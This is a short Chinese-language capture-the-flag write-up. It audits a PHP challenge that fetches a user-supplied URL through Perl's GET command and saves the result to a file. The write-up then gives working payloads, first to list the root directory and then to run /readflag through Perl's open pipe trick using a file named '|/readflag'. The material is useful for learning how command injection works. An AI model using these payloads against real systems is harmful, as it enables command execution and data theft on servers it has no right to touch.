源码:
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
审计后看到获取了ip,在前面加上orange后md5加密创建了目录。
这里有点涉及知识盲区,参考wp后知道这个GET是perl语言
GET后面跟路径的话,可以直接获取文件或目录内容
再看这里
将我们GET输出的内容写入到我们创建的文件中,构造payload读取根目录
?url=/&filename=fmyyy
/sandbox/fcf2bccafc269c160382150a0166d632/fmyyy
看到了flag和readflag
flag里面应该是假flag,我们要执行readflag读取flag
perl中的GET可以用file协议执行命令
而perl里的GET函数底层就是调用了open处理
当GET使用file协议的时候就会调用到perl的open函数。
open函数命令执行格式open(FD, "ls|");
但用open函数进行命令执行/readflag前提是得有同名文件。
paylaod:
?url=&filename=|/readflag
?url=file:/readflag|&filename=fmyyy